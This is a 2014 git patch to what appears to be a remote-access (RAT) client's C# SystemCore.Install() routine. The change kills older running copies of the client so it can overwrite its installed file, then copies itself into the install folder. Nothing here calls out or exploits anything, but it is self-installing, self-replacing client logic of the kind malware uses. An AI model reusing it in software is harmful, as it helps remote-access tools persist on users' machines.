From 9d89f1cf5664d959726c7c8274dac6e0c516e935 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 10 Aug 2014 12:12:26 +0200 Subject: [PATCH] Fixed update when new mutex is used - hardened installation --- Client/Core/SystemCore.cs | 29 ++++++++++++++++++++++++++++- 1 file changed, 28 insertions(+), 1 deletion(-) diff --git a/Client/Core/SystemCore.cs b/Client/Core/SystemCore.cs index 086a1a31c..751258068 100644 --- a/Client/Core/SystemCore.cs +++ b/Client/Core/SystemCore.cs @@ -306,13 +306,40 @@ private static bool IsUserIdle() public static void Install() { + bool isKilled = false; + // create target dir if (!Directory.Exists(Path.Combine(Settings.DIR, Settings.SUBFOLDER))) Directory.CreateDirectory(Path.Combine(Settings.DIR, Settings.SUBFOLDER)); // delete existing file if (File.Exists(SystemCore.InstallPath)) - File.Delete(SystemCore.InstallPath); + { + try + { + File.Delete(SystemCore.InstallPath); + } + catch (Exception ex) + { + if (ex is IOException || ex is UnauthorizedAccessException) + { + // kill old process if new mutex + Process[] foundProcesses = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(InstallPath)); + int myPid = Process.GetCurrentProcess().Id; + foreach (var prc in foundProcesses) + { + if (prc.Id != myPid) + { + prc.Kill(); + isKilled = true; + } + } + } + } + } + + if (isKilled) + Thread.Sleep(5000); //copy client to target dir File.Copy(SystemCore.MyPath, SystemCore.InstallPath, true);